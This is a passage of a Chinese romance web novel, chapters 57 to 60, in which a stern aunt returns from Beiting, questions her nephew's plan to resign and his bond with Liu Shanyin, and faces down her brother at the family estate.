期间,赵留行说得每一句话在柳善因看来都是煎熬。 因为她也不知等赵赵将军的话音落了,眼前这个威严的二姑大人会怎么处置她…… “事情就是这样,该说的我都说了,您想怎么都好,只是这一切都与小柳无关,从始至终都是我的一厢情愿。您不要怪罪小柳。”赵留行的话音落了,柳善因悬着的心也跟着死了。 她紧握着赵留行的手,赵留行也紧握着她。 两个人对上眼神,讳莫如深。 谁知,赵平澜听后竟一言不发朝他们转身走了过来,柳善因瞧得真切,眼前人这些年过得并不容易,细长的刀疤深深刻在眉尾,那张足矣惊艳众生的脸,也早就被北庭的风沙磨伤。 但没什么好可惜…… 如今的赵平澜,已不能用美貌定义,她用了半生来证明女子从不输儿郎。 赵平澜身高力壮,等她站定在柳善因面前,就立刻遮蔽住了她身前的太阳。 柳善因赶忙垂眸不敢细瞧,她以为二姑大人要同他们问罪,哪成想,她却只张口问了赵留行一个问题,“我若不回来,你小子打算怎么做?就打算这么糊弄下去?” 赵留行闻声不假思索地答:“辞官。” “辞官?”赵平澜不敢置信,她在给赵留行一个改口的机会。 赵留行却笃定道:“是,倘若北庭回不去,他们给的也只有和呈王府联姻这一条路,那我只能辞官和小柳一同回兰花村,给他们柳家当赘婿,种一辈子地去——” 赵留行觉得如此过完一生也没什么不好。 可是此话一出,别说赵平澜,就是从未听过他这个想法的柳善因也给疑惑地啊了一声,她实在没想到赵赵将军为了自己,居然能做到这个份上。 可当着长辈的面这么说,不太好吧…… 下一刻,随着她的那声啊缓缓消失,赵平澜强有力的一脚,便狠狠踹在了赵留行毫无防备的腿上,差点没把赵留行疼得倒在地上。从小到大被眼前人收拾了那么多回,他还是没能习惯眼前人的“铁脚”…… 赵留行嘶了一声捂住自己受伤的腿,柳善因也赶忙垂眸惊叹,“赵赵将军,你没事吧!” 赵平澜却没打算放过他。 她骂:“臭小子,我瞧你胆子真是肥了!这种话都说得出口了?” 赵平澜这话并非是针对赵留行当赘婿这事,她只是想他们这一路走来历经万难,在生死边缘徘徊,好不容走到今天,这官他竟然说辞就辞!还说得如此轻松? 可她不知,赵留行与她的追求从来不同。 当年她是为了证明自己,才执意西行博个功名,而赵留行却是逼不得已离开故乡。虽然这些年,他对北庭充满眷恋,但心里始终是空落落的。 赵留行被赵平澜踢了如此重的一脚,竟忍着一声气也不吭,也不肯低头。 只是他倔,赵平澜比他更倔。 赵平澜见势抬脚就打算再朝赵留行踢去。 不成想,比她脚更快的,是勇敢挡在赵留行身前的柳善因。 别瞧眼前的女郎个子小小的,但有事她真上。 柳善因既害怕,又心疼赵留行。她便硬着头皮,在赵平澜面前闭眼颤声道:“都,都护大人!求求您不要再打赵赵将军了,他很痛的——” 好在赵平澜收腿收得及时,没叫眼前人受伤。她听她这样说,不由得愣了一下。 赵留行在旁吓得顾不上腿疼,惶然将柳善因护去身后,他可是知晓二姑这一脚若是落在她身上会是个什么后果,他扛得住,她可扛不住,“小柳,二姑出完气就好了,你莫管,别伤着你。” 柳善因见状委屈巴巴地说:“可我怕你受伤……” 赵留行宽慰:“我没事。” 彼之,站在二人面前,看着对面你来我往的赵平澜,眯眼无言。她难以置信,不管人家女郎是个什么态度,自家这混不吝的这回瞧上去似是动了真情。 于是乎,她在沉默半晌后,也破天荒地说:“小子,今日看在柳娘子的面上,我不收拾你。但辞官这事你若再敢提,我不饶你。至于你一直担心的事……我今日就告诉你,我既然能回来,便不可能让它发生。老三,你给我记好,没有人能把你困在这儿,咱们的命只有咱们自己说的算。” 赵平澜说这些话时,中气十足,眼中没有一丝波澜,却叫对面的柳善因听去,心中不由得生出几分崇拜。 赵留行了解二姑,自是习以为常。 他垂眸应说是:“我知晓了。有些事没能提前跟您商量,也是我的错,我跟您道歉。” 赵平澜闻言不可思议,“哼,不得了!臭小子会跟人低头了。”但她也懒得跟赵留行多计较,“行了,我没工夫跟你小子再废话,这一路劳顿,我也累了,去叫人给我腾出个房间,我要休息。” 柳善因见事态缓和,接茬说:“好,我这就帮您腾房间。” 赵平澜随之道了声:“有劳。”转头抬脚离去。 柳善因望着二姑的背影,若有所思地搀扶起赵留行的手臂,小声与之商量,“赵赵将军,我们把主屋腾干净给二姑住,咱们去住厢房好不好?怎么说,这里也是二姑的家。” 赵留行愣然看着被女郎主动挽起的手臂,腿也不疼了,心也不烦了。可他还没来得及应声,就被不远处的赵平澜听见,言辞拒绝:“不必了,我住厢房就好。” 赵平澜语毕这么一想,自己倒是忘记给赵留行说… 这宅子当初买的时候,本就是打算给他留着娶媳妇用的,压根不是她在王城的私宅…… 第57章 第57章二姑奶奶 柳善因挽着赵留行回到正院,赶忙去寻了长夏为赵平澜收拾厢房。府中人手少,她便也在旁帮衬着将赵留行的东西往他们住的屋子里挪。 这时间,赵留行从乳娘那抱了孩子出来,叫立在廊下的赵平澜瞧见,随口问了声:“这孩子多大了?” 赵留行站定步子,举着小宝往赵平澜面前凑了凑,似是骄傲地炫耀道:“八个多月了,二姑要抱抱吗?来,我们小宝瞧瞧这是谁?是二姑奶奶。快,小宝叫声二姑奶奶——” “不用了,我抱不了孩子。” 赵平澜瞧着赵留行今非昔比的模样,竟有些嫌弃地躲开,她觉得眼前这她看着长大的人着实让她陌生。 赵留行也只是说笑,他哪能真让眼前人抱孩子? 他还怕赵平澜没轻没重伤了自家的小家伙,毕竟小时候二姑对待他,简直是不堪回首。 赵平澜退避,赵留行却一本正经盯上了她,她回看赵留行蹙眉不解,“你看着我作甚?我脸上有东西?” 赵留行见状出言暗示:“您这头一遭见孩子,就不准备给些……” “什么?”赵平澜不知其解。 赵留行便伸着小家伙的手说:“见面礼。” 哈?他这都是在哪学的? 赵平澜不敢置信地望着眼前人,眼前人却得寸进尺地将娃娃的小手搭在了她的肩头,瞧着这阵势,她今日若是不给个见面礼,他就不打算放自己回去休息? 也就是赵留行敢跟她这么放肆…… 赵平澜无奈从口袋里掏出钱袋,准备随便拿个银元宝堵住侄子的嘴。 没成想,她才刚掏出个锭银 子,赵留行就将整个钱袋“据为己有”。赵平澜眼瞧他边拿走她的钱袋,边奉承她道:“到底是二姑大方爽快,我替孩子和小柳多谢您了。” “小宝,谢谢二姑奶奶。” 赵留行说罢把钱袋藏进小宝身后,叫二姑找不到下手的机会,速速转身离去。赵平澜望着他疾行的背影,忍不住扬声说:“诶,臭小子,你多少给我留点——我这回来就带了这么多!” 赵留行却选择充耳不闻,瞧他一路去到对面,在碰到柳善因后麻利将钱袋塞进了她的腰间。 “哪来的钱啊?”柳善因捧着赵留行衣裳茫然朝后腰摸了摸。 赵留行回复说:“二姑给的。” “二姑?二姑为什么给咱们钱?”柳善因不明白。 赵留行颠了颠怀里的娃娃,解释说:“自然是二姑给小宝的,长辈见了小辈给见面礼表示关爱,这是规矩。你就安心收着就好,别辜负了二姑的心意。” 柳善因半知半解地点点头,但既然是赵赵将军说的,那她便替小宝收着。 当然,她也得替小宝谢谢二姑奶奶。 只见赵平澜追来刚想跟赵留行把自己的钱要回来,就被柳善因恭恭敬敬地道谢声遏住。 柳善因鞠躬道是:“谢谢都护大人!” 赵平澜见状尴尬立在原地,还能在多说什么…… 她只能盯着自家那一肚子坏水的臭小子,放弃了适才的打算,她朝鞠躬的女郎咧嘴笑,“不,不必,这钱是给孩子的,你就好生收着吧。”- 长夏收拾完厢房,赵平澜也就此安顿下来。 赵留行为了不打扰二姑清净,就带着孩子跟柳善因去了厨房。 今天中午多了一个人的午饭,对柳善因来说并算不上什么难事,她做起这些事来得心应手,灶台就好似她的战场,那锅碗瓢盆便都是她的铠甲。 赵留行坐在厨房里,满眼爱慕望向灶台边的女郎,他听女郎柔声与之商量,“赵赵将军,你说二姑喜欢吃面食对不对?那咱们今天中午做烩面好不好?正巧昨天土酥叫人送了些羊肉回来。” 柳善因询问赵留行,可赵留行能有什么意见?她现在就是做鞋底子给他吃,他也觉得香! 赵留行起身应了声好,随之晃晃悠悠来到柳善因身边,他看着灶台上的东西,又沉声问了句:“反正我也闲着没事做,我能帮什么忙吗?” 柳善因打开面缸,随口回应:“赵赵将军会和面吗?” 赵留行摇头说:“不会。” 柳善因舀起足够五人吃的面粉又言:“赵赵将军会切菜吗?” 赵留行依旧说:“不会。” 柳善因犯了难,她为了不扫赵留行的兴致,转头思量半天指了指灶火:“嗯……那赵赵将军会烧火吗?” 哪知道,赵留行还是俩字:“不会。” 他这一问三不会,柳善因哪还敢用他? 她便微笑着看向身后一脸无辜,等候她差遣的人轻声说:“那你去看着小宝吧。” 赵留行自知无用,识趣地应了声好,便转头坐回了摇篮旁- 两口子分工明确,一个多时辰后, 赵留行这边忙活半天刚给小家伙哄睡着,柳善因那边就将午饭做了出来。 当清香的羊汤从锅里飘出,柳善因满意地将手在襜裳上擦了擦,跟着举目问赵留行,“赵赵将军饭好了,要唤二姑起来吃吗?北庭那么远,二姑这一路一定没好好吃饭,不若叫她把饭吃了再睡?” 赵留行晃着摇篮,思索一番,“不妨事,二姑饿了会自己起来。咱们先吃咱们的,不用管她。” 可好巧不巧,赵平澜不知是闻着饭香而来,还是实在饿得睡不着,她还未进门就听见自家的小子这样说话,自是不会轻易放过他。 话音落去,赵留行下意识抬手挡住了身后落来的手臂。 可等他回过头,瞧见赵平澜心下一惊,“二,二姑,您醒了……” 赵留行望着身后人的脸,战战兢兢。 赵平澜却趁其不备,用另一只手揪起了他的耳朵,随之朝那边的柳善因一脸淡然道:“我饿了,柳娘子家中可有什么吃食?” 又是这招?她就不能换个耳朵? 赵留行在赵平澜面前,依旧就像个顽劣的孩子,他疼得站起身,却又怕吵着小宝不敢声张。柳善因闻言连忙应声:“有的有的,家里今日吃烩面。二姑您稍等,我这就给您下面。” “麻烦你了。”赵平澜颔首致谢,这才松开赵留行坐去了厨屋外的小桌前。 赵留行这会子自觉颜面扫地,转头追了出去,瞧他拉了凳子坐在赵平澜面前愤愤道:“您往后能不能不当着小柳的面,像训狗一样训我了?” “看你表现。”赵平澜双手环臂,瞥了赵留行一眼。 赵留行撇撇嘴,也不敢忤逆,只能咽了那口气。 姑侄两个桌前对坐,气势一个比一个强,赵平澜转头看着在灶台前忙得热火朝天的柳善因,忽而阴声说:“老三,你就这么让人家忙着,连个厨子也舍不得请?” 赵留行闻言直呼冤枉,“这您可误会我了,家中请的厨娘有事告假,我说叫外头的酒楼送饭来吃,结果小柳不同意,说她可以暂时替厨娘做两日的饭,我拧不过,也只能同意。” 是啊,谁让家中现在管钱的是柳善因? 他就是同意让闲汉来送饭,也得能拿得出钱不是…… 赵平澜见是女郎自己愿意,便只哦了一声。这些琐碎的事,她素来不爱掺和,也就没往下问。 姑侄两个又跟从前一样,大眼瞪起了小眼。赵留行沉默许久,找起话来。 “北庭那边一切可好?” “嗯。” “故岚那边可又有动作?” “没有。” “二姑这回就是专门为了我的事自己赶回来的?” “不全是。” “……” “……” 赵留行不善言辞,没想到,赵平澜比他还惜字如金。话题就此戛然,二姑甚至还当着他的面闭眼养起了神,厨房外明明阳光明媚,桌案前却一片死气沉沉。 直到柳善因端着两碗热气腾腾,散发着勾人香气的烩面来到二人身边,才将阴霾吹散。 姑侄两个几乎同时抬头,他们看见女郎眯眼用着温暖的声音笑说:“都护大人,还有赵赵将军,烩面你们趁热吃,不够的话我再给你们下呀~”- 傍晚时候,赵留行洗漱完半躺在床上陪小家伙玩拨浪鼓,想要消耗消耗娃娃的精力,好叫他夜里睡得安稳些。柳善因见赵留行收拾妥当,开始在衣柜里翻找出自己的衣裳,转头往屋外去。 她在路过床铺时,与赵留行随口说:“赵赵将军,我去沐浴了。” 赵留行哦了一声,示意知晓。 两人就这样道别。 柳善因堪堪跨出门,就碰上赵平澜披散着头发从屋里出来,她赶忙垂眸问候:“都护大人,这么晚了,您要出去吗?” 赵平澜没接茬,她扫视一眼女郎,随口问道:“你要去沐浴?” 柳善因点点头,礼貌谦让,“嗯,您也要去吗?那您先去吧,我待会儿再去也行。” 既是如此,她想着一会儿再去,便打算回屋。怎料,还不等她抬脚回身,赵平澜竟面无表情地冲她说:“不用麻烦,一起吧。” 一起吧? 刚见面就要一起洗澡吗! 此话一出,柳善因傻愣在原地,她有些怀疑自己耳朵出了问题听错了。可赵平澜却无半点虚言,她实在是没想太多,待她行出三两步,发觉女郎没跟上便回眸问了句:“还愣着作甚?你不洗吗?” 柳善因这才回过神哦了一声,迷迷糊糊跟了上去…… 第58章 第58章这不公平 走上去往前院的小径,柳善因便后了悔,可显然她已经错过了逃跑的好时机。这头长夏刚烧热了池中水从屋里出来,就瞧见来了两个人,不免惊诧。 她问:“二姑奶 奶,夫人,你们这是……” 赵平澜行在前头,举目望去漫不经心地答:“哦,我们一起洗,免得一趟一趟地浪费水,里头都准备好了吧?” 一起洗?她没听错吧! 长夏有些疑惑,但又畏惧二姑奶奶的威势连忙应声:“是,都准备好了。” 赵平澜闻言没再搭腔,抬脚进了浴间。 都到了这儿,柳善因还能再说什么,她便在长夏错愕的目光中乖乖跟了进去。等进了屋,她什么也没做,只抱着自己的衣裳傻站在原地。 赵平澜解开衣带回眸瞧,“洗澡不关门吗?” “啊?”柳善因茫然抬头,神色慌张,“关,我这就去关。” 可门关了,她却还是傻站着。 赵平澜常在军中,她的队伍里也不乏女将,所以大家从来都是聚在一起洗洗涮涮,她是早已习惯了那样的集体生活,可柳善因独来独往,无爹无娘,从小到大都是自己生活,一时间定是受不了和别人一同洗澡。 赵平澜似是瞧出女郎的窘迫,便半褪着衣袍沉声说:“抱歉,北庭那边用水不似王城方便,我省水省惯了,就想着一起洗了得了,忘记过问你的意见,若是你实在觉得不合适,我就一会儿再来。” 赵平澜倒也坦诚。 但柳善因哪能驳了她的面子,把人家从浴间再给撵回屋去?这可是最疼赵留行的二姑啊,将来她若是跟赵留行成了一家,二姑也就是她的二姑。 既是一家人…… 洗,不就是洗个澡?她能洗! 柳善因摇摇头,她为了打消二姑的顾虑,边说边放下手中换洗的衣裳,解起了自己的衣带,“没,没关系!晚辈也觉得省水好,晚辈与您一块。” 赵平澜见状无言向水中走去。 不多时,柳善因也跟着没进了水池里面,她还特意坐去水池的另一边,离二姑远远的。 彼之,赵平澜环臂坐在对面,闭目养神。 她个子高坐在水中还能露出大半个身子,而柳善因个子小,温热的洗澡水没过了她的肩膀,只留了个发红的脑袋在外边。幸好家里的水池够大,不若她真不敢想两人面面相觑地泡澡会有多尴尬。 浴间内寂然无声,柳善因默默拧干巾帕搭在脑袋上,却在抬眼不小心望见对面人肩颈,乃至胸前硬实的线条后,瞬间惊讶地合不拢嘴巴。 她觉得二姑单手就能拎起两个她! 柳善因瞧瞧赵平澜,又下意识瞧瞧自己,有些不好意思地遮起了自己肉乎乎的肚子。 正当她垂眸愣神,赵平澜便在对面忽而睁眼唤了声:“柳娘子。” 吓得柳善因连忙应声,“我在。” 赵平澜直勾勾看着柳善因,柳善因却闪烁着眼神无处安放,最后只能将目光定在水面上,隔着雾气弥漫,她就这么听二姑沉声相问:“你喜欢我家三郎吗?” 柳善因茫茫然抬起头,喜欢……是什么? 她不明白。但她看到赵赵将军会立刻散发出笑容,她和赵赵将军呆在一起时,也会感觉到很温暖。这算是喜欢吗? 柳善因慎重着这个答案。 赵平澜看着眼前人犹豫的模样大概知晓几分,她不打算为难她,便转而问了女郎又一个问题:“柳娘子真的想好要和三郎过一辈子?不是什么一时兴起做的决定?你确定将来自己不会后悔?” “毕竟你俩认识的时间并不算久,许多事你大抵也不了解。” 赵平澜的问话,刀刀扎在现实里,没有丝毫缓和。她冰冷的表情,很难不让人误解,但柳善因这回竟笃定地说:“不会的,请都护大人放心,我答应过赵赵将军,就不会反悔。” 话音落去,赵平澜盯着柳善因看了很久。 她若有所思着。 浴间的温度烧红了柳善因的脸,她再顾不上什么非礼勿视,从水中顶着巾帕缓缓起了身,“您,您是不同意我和赵赵将军的事吗?” 柳善因壮着胆子发问,赵平澜依旧默而无言。 可她却没有被眼前人的态度逼退,反倒十分诚恳道:“如果真是那样,我希望您能给我个机会。” 此话一出,赵平澜锐利的眼神中,多出一丝柔软。 真诚且清澈,是她给柳善因的评价。 赵平澜转身走出水池,去到池边披上自己的袍子,随手用木簪挽了个发髻出来。 她虽背对着柳善因,却还是能叫身后人畏惧于她。 赵平澜系起衣带,淡然告诉女郎,“那是你们自己的事,我无权干涉。只要三郎不辞官,他想和谁在一起,想做什么都无所谓。” “我只希望你能明白,我们为今天付出了太多,你大可回去看看三郎身上的伤,有多少刀靠近心脏。所以,我并不希望他轻易舍弃这么多年的努力,更不想他将来后悔。” 赵平澜不笃信爱这个东西,她觉得人都是会变的。 能抓住的东西,也太少。 但她并不在乎赵留行喜欢谁,想要娶谁,门第这种东西于她而言根本无关紧要,不若她当年也不会那么想摆脱赵家。她眼下的当务之急,便是把赵留行身上的麻烦解决。 柳善因坐在水边,眸子里闪烁着水池倒影出的波光,她眼中二姑的背影是那样坚毅。 她说:“好,都护大人,我明白了。” 赵平澜没再接茬,她想问的话问过了,也就打算离开了,“我洗好了,先回了,柳娘子自便。” “大人慢行!”柳善因哦了一声起身目送。 直到二姑推门离去,她才反应过来,自己还光溜溜地站着,便慌忙躲进水中。 柳善因看着头顶的巾帕掉落,于水面上缓缓飘远,这才恍然大悟…原来,二姑不是真的想和她一起洗澡,只是有些话想问问她啊!那她今天的表现好吗? 二姑会不会不喜欢她……- 柳善因回到寝屋时,赵留行正抱着小家伙在屋里转圈,他如今厉害的不得了,已是能独立照看娃娃了。 赵留行瞧见柳善因进门,刚想跟其搭话,人家就红着脸蛋,一溜烟钻到了床铺上,他不明所以地走去,眼前人却蒙着被子躲在了床里边。 “你这是怎的?路上见鬼了?”赵留行抱着哈气连天的小家伙站定在床前。 柳善因摇摇头。 她觉得适才那场景应是比见鬼还可怕,她现在甚至都不敢回想与二姑面对面的场景。 “那到底是怎么回事?”赵留行纳了闷,柳善因却突然扯开身上的被子蒙在头上,鬼鬼祟祟朝床外边的人小声说,“赵赵将军,你知道我刚才和谁一块洗的澡吗?” 赵留行没听明白,但他还是配合着应了声:“谁?” “二姑!”柳善因面如土色,现在才咂摸过味来,“我和二姑一起洗的澡。” “啥——凭什么!” 赵留行脑子一懵,大叫出声,却惊得娃娃一激灵。 他,他都还没跟眼前人一块洗过,二姑怎么,怎么就!这不公平! 赵留行不服。 柳善因歪歪脑袋,大惑不解:“什么凭什么?” “没,没什么。”赵留行摇摇头,一边重新哄着怀里的小祖宗,一边暗暗决定今晚要贴着柳善因睡,而后他望向床上把自己裹成角黍的女郎轻声道,“不过……二姑为何要与你一道?她可曾为难你?” 赵留行虽知晓赵平澜的脾性,应该不至于为难柳善因,可他还是免不得关心。 柳善因连忙摇头解释:“没有没有,二姑怎么会为难我。” “那就好。”赵留行闻言放心不少,他转头将进入梦乡的小家伙搁上坐床,继而与之嘱咐,“小柳,你记住不管发生什么事,都要与我说。” 柳善因点头应声:“嗯,我记住了。” 赵留行语毕熄了屋中的灯,摸摸索索上了床,柳善因那头还没来得及将裹在身上的被子卸下,就被来人抱在了怀里,强行躺在了床上,惹得她不由得惊诧,“赵赵将军,你干嘛?” 赵留行不假思索地说:“睡觉。” “那你把我放开好好睡。”柳善因抗议,赵留行却耍起了无赖,“今晚就这么睡。” 柳善因撇撇嘴,不知他今日抽的又是哪门子风,瞧她挣扎了半天,最终只能无奈妥协道:“好吧,这么睡就这么睡吧,可是能不能让我把手给伸出来啊!”- 翌日一早,赵留行又该上值。 卯时刚过,他便从柳善因身边爬了起来,今天厢房被赵平澜用了,衣裳也被从那边搬来了这边,他早起更衣就只能在寝屋里换了。 赵留行为了不叫柳善因尴尬,蹑手蹑脚去到搁着自己衣裳的柜子小心翻找。 他想着趁她还未睡醒赶忙把衣裳换了。 谁知,赵留行一打开柜门,就瞧见自己的衣裳被柳善因叠得整齐,并和她自己的衣物摆放在一起,叫他不由得会心一笑,可就是这么一耽搁,床上的人也随之 缓缓起了身。 赵留行没察觉,待他褪去上衣光着膀子回身走去,这才发现女郎醒了。 “什么时候醒的?!” 赵留行被吓了一跳,可令他没想到的是,柳善因坐在铺上竟然没去避讳,也没假装视而不见,她就那么直勾勾盯着他结实的胸膛,好似入了迷。 赵留行惑然无解,他想这人是改性了? 还是说…… 思量间,赵留行迎着柳善因的目光去到床边,故意装作不正经的样子,想要逗逗她。 “怎的?喜欢看吗?” 哪成想,他的话音未落,柳善因便趁其不备伸出小手摸上了他……! 第59章 第59章把持不住 赵留行诧然垂眸,看着睡眼朦胧的女郎伸着温热的小手一点点向上攀延,可柳善因却并非贪婪他结实的身体,她只是单纯将手停在他靠近心脏的伤疤处愣然。 她想二姑说的没错,赵赵将军这一路走的太不容易,他付出了那么多,又怎能为她轻易放弃拥有的一切。 她可以留在他的身边陪伴他,和他站在一起,但绝不能成为他拖累。 柳善因叹了口气,她的叹息里有心疼,亦有许多烦忧。她依旧沉浸在自己的思量里无法自拔,也丝毫没有察觉自己的冒昧。 她还要摸多久?这么沉醉吗?他约摸着快要把持不住了…… 赵留行躁动的心脏,在女郎的触摸下狂跳不止,他从未有过这种浑身发麻的感觉。 他看着女郎喉结微动,忽而紧张地咽了口水,最终忍无可忍才朝女郎俯身压去。 柳善因瞬间清醒。 等她反应过来,便惶然后仰用手抵住了他坦荡的胸膛,没叫眼前人将她彻底压倒。 怎料,赵留行竟顺势将双臂撑在女郎身侧,明目张胆地凝视起她的眼睛。他就这么挑眉问柳善因,“你不对劲,你到底在看什么?” “没,没看什么呀!”柳善因目光闪烁,怯怯偏过头去。 赵留行不信,“没什么?那你缘何又摸又看?” “啊?这个……” 柳善因百口莫辩,她在赵留行身下畏畏缩缩,就像个被捕捉到的猎物,无处可逃着。 她招惹他干嘛!她若跟眼前人解释说自己是睡迷糊了,他能信吗? “没想到,你比我还心急?” 赵留行偏将身下人越压越紧,与她的脸颊越靠越近,瞧着现在柳善因说什么,他都会认为是她口是心非的辩解。 柳善因倔强的手掌已经抵不住赵留行的攻势,她便下意识大呼:“不是呀,赵赵将军你误会了!我只是想看看你身上的伤!” 虽说她早已认清自己会有和赵赵将军做那种事的一天,但如果以这样突兀,毫无准备的方式出现,柳善因多少有些接受不了! 还有,还有他今日难道不用上值吗! 赵留行愣了愣,“看伤……这有什么好看的?” 有他好看? 赵留行起了身,看来他还真是误会了。瞧他有些尴尬地坐在床铺边,不好意思再去回看女郎的眼。 “我,我只是想多了解了解赵赵将军……”柳善因同样尴尬地坐去了床铺的另一边,说来也怪她,怎么就忘了注意分寸叫人家误会了呢! 两个人如此各坐两端,谁也不曾相看。 赵留行陷入沉默。柳善因却撑着手臂,垂眸盯着自己的脚面,沉声问他:“疼吗?” “什么?”赵留行惑然。 柳善因解释说:“你身上的伤疼吗?” 赵留行摇头答曰:“都过去了,早不疼了。” 柳善因抿抿嘴,她想以前的赵赵将军肯定很疼吧。可哪怕受了再多伤,那会儿初见时,他却还是坚定地想要回到北庭去。 她知道他心里一定是想回去的,只是有太多不得已,便转眸冲他说:“赵赵将军一定要回到北庭去,因为北庭需要你。” 赵留行转过头,隐约察觉到昨晚二姑一定跟柳善因说了些什么,便反问起眼前人,“你不需要我吗?” “赵赵将军……” 柳善因望着赵留行的眼睛,有些动容,却忽而被其拥进怀里,她感受着赵留行温暖的手掌轻轻摩挲起她的背脊,听他认真地在她耳边说,“可我需要你。” “我若去了北庭,你……” 柳善因明白眼前人想说什么,便在他说出那句话前,反手抱起了他,“我答应过赵赵将军,赵赵将军在哪,我就在哪,我跟赵赵将军一块去,当然小宝也去。” 柳善因的主动,叫赵留行欢心不已。他拢起女郎的肩,想要趁热打铁吻上去。 事已至此,柳善因也不再躲避。她想算了,亲一口就亲一口吧,就是现在不亲,将来也逃不掉。 于是乎,她害怕地闭上眼睛,把五官拧作一团,等待着眼前人与自己缩短距离。谁成想,赵留行见她这副为难的模样,竟笑着伸手弹了她的脑门一下。 “哎呀,痛!” 柳善因慌忙捂住脑袋,茫然望向赵留行。不亲就不亲了呗,干什么打人呢! 赵留行却装作若无其事地起身在她面前更衣,“不与你闹了,上值要迟了。有什么事,等我下值再说——” 到底是谁跟谁闹?柳善因噘嘴不满。 怎料,赵留行居然使了招欲擒故纵,只见他在穿好甲衣后,快速在床前俯身亲了柳善因一口,打了她个措手不及,弄得女郎羞红着脸错愕不已。 他偏还一脸得意,在离开前冲她笑道:“好了,咱俩扯平了,我上值去了。”- 赵平澜回来的第三日,再次换上了她回京时穿的那身征衣,柳善因在院子里碰上她有些胆怯,但还是象征性地问候:“都护大人,这是要出门吗?” 赵平澜却径直去到她前相问:“你今日有事吗?” “没事啊。”柳善因不明所以。小家伙看见那所谓的二姑奶奶,也被吓得往小姑的怀里躲了躲。 赵平澜见状沉声说:“那你带着孩子跟我回家一趟。” “回家?”柳善因知晓眼前人说的是护军府,可她显然有些犹豫,毕竟上回去那边好像闹得有些不愉快,她怕再次前往,又会让赵留行为难。 赵平澜厉声问:“怎么?是不方便吗?” 柳善因连忙摇头,“不是,没有不方便,只是上次去…我跟那边闹得……” 赵平澜听出她话里话外的意思,便冷笑一声宽慰道:“谁能跟他们那些人处得好,便是见了鬼了。你今日跟我一起去不妨事,我只是回家看看老太太,有我在,无需理会他们。” 柳善因一听是回家拜见长辈,也不好意思拒绝,便硬着头皮答应了二姑的请求,“好,那您稍等,我换身衣裳就来。” 赵平澜摆摆手应了声:“不急。”- 护军府外,柳善因抱着小侄子心情跟上次一样忐忑,尽管是跟着霸气逼人的二姑,她却还是发怵。 赵平澜立在护军府外,看着冰冷无比的护军府匾额,眼中满是唏嘘。 她很多年未曾归家了,如今再见到旧时家中景象,居然很难从她眼中看出半分留恋。 “走进去吧。” 赵平澜发了话,柳善因小心翼翼跟了上去。 一路入府无人阻拦,只有议论声入耳,府中众人瞧见如今平步青云的二姑奶奶出现在眼前,无不为之惊叹。就连曾经看不起她的那些人,也跟着弯了腰,低了头,老老实实唤了一声二 姑奶奶,而不是那句疯丫头。 赵平澜却将他们视若无物,连半分眼神,也不曾为其偏移。可等路过云鹤斋,碰上外出而归的赵家家主,赵平澜就是想躲,也无处可避。 “老二?”赵无征瞧见来人不可思议。赵平澜无奈停下脚步,随意寒暄了句,“赵护军。” 柳善因跟着俯身行礼。 “你怎么在这儿?” 赵无征瞧见身为大都护的赵平澜又惊又喜。他还以为他这二妹,一去北庭这辈子都不会再回来,势要与他赵家断了联系。 赵无征眼看今时不同往日,往前跟赵平澜说话颐指气使的他,眼下竟也好声好气起来,“你回来怎么不跟家里知会一声?好叫家里给你接风洗尘!此番,是陛下召你回来的?是不是北庭又打了胜仗?陛下要嘉赏于你?” 赵无征虚情假意说了一大堆。 赵平澜抬抬眼只应了声:“知会一声?你们真的欢迎我回来吗?少说些假话吧——我今日带着他们娘俩回家看看老太太,赵护军没什么事,且忙着去吧。我们往福寿阁了。” 赵平澜瞧着是半分废话也不想跟眼前人多聊。 谁成想,赵无征注意到柳善因,瞬间暴跳如雷,“谁准许你把他们带进家门的!” 赵平澜闻言不屑一顾地反驳:“看不出吗?我准许的,赵护军有何不满?” 赵无征怒不可遏,若搁往前,他定是叫赵平澜当场跪下,以示威严。 可他如今的官职屈于赵平澜之下,赵平澜没叫他与自己行礼问安,已是开恩。他便也不能太与之撕破脸面,只能嘴上硬些。 赵无征道是:“你!为兄还以为这么多年,你能改改你那忤逆不道的性子,这么看来你还真是一点没变,全然不知悔改!” 从前的赵平澜就不听赵无征的说教,如今便更不会纵容他在自己面前放肆。 赵平澜蹙起眉,没给眼前人留情面,“究竟是谁一点没变,不知悔改?赵无征,我如何还轮不到你来指手画脚,人是我请来的,你最好给我放尊重些。我今日看在老太太的面子上,不与你计较。你若下次还敢这般与我讲话,别怪我不念手足亲情,叫你难堪。” “柳娘子,走了。” 赵平澜将赵无征数落一通,转头拂袖而去。 赵无征在身后气得直呼了声:“赵平澜,你别太得意——”却被其无视过去- 随后带着一肚子气回到云鹤斋,赵无征气得将腰带狠狠摔在案前,吓得在屋中的贺盈安一惊。 她抬眼瞥了赵无征,赵无征却趁着劲头,对她冷嘲热讽道:“哼,殿下还有心思在这儿静坐?” 贺盈安听后骂他,“老匹夫,你抽哪门子风?” 赵无征便高声说:“老二那瘟神回来了,我瞧啊,咱们跟呈王府的婚事彻底黄了!” 哦,就这事? 贺盈安丝毫没为赵平澜突然回来的事感到惊讶,反倒异常淡定地开口:“回来便回来,只是有些话别说太早,事情没落定前,就有的是转机。” “殿下什么意思?”赵无征哪有贺盈安的心思重,他不懂此话何意。 贺盈却白了他一眼,冷笑道:“圣上那边松口了,老三和那柳氏之间的关系也不简单,你就等着瞧吧,沉不住气的老匹夫——” 第60章 第60章炭烤芋头 赵留行上了两日的值归家,不知在宫里被派了什么苦活,进了屋还没跟柳善因说上两句话,就当着她的面把身上的甲衣往旁边一扔,倒在床上昏睡过去。 柳善因瞧着他这副可怜相,实在不忍心叫他起床吃饭,便任由其一直睡到夜半。 子时将过,柳善因在床上翻了个身,却正巧迷迷糊糊瞧见赵留行背对着她掀帐坐在床边,她揉了揉眼,轻声去问赵留行:“赵赵将军,你怎么起来了?” 赵留行回过头,归家时的疲惫渐渐消散,他惑然道:“把你吵醒了?” “没有。”柳善因摇摇头,趴在二人的枕头间醒了醒神,她隐约察觉出什么张口便问,“你是饿了吗?” 赵留行没想到女郎这般了解他,便低声说:“是有些饿了。” 柳善因见状困难起身,来到赵留行身边准备穿鞋,可不知为何,赵留行忽而拦住了她,“诶,你作甚?” 柳善因一脸天真,“我去给赵赵将军弄些吃的啊。” 赵留行却并不想麻烦她,“不用,这大半夜的,你该睡睡你的,我想吃东西会自己想办法。” 柳善因耷拉着脑袋,困意上头,但她还是推开了赵留行的手臂,穿起了鞋袜,“不妨事的,反正我已经醒了,一时半会儿也睡不着了。刚好今天土酥又送了些芋头过来,我们烤些芋头吃吧?” “我正好也想尝尝。” 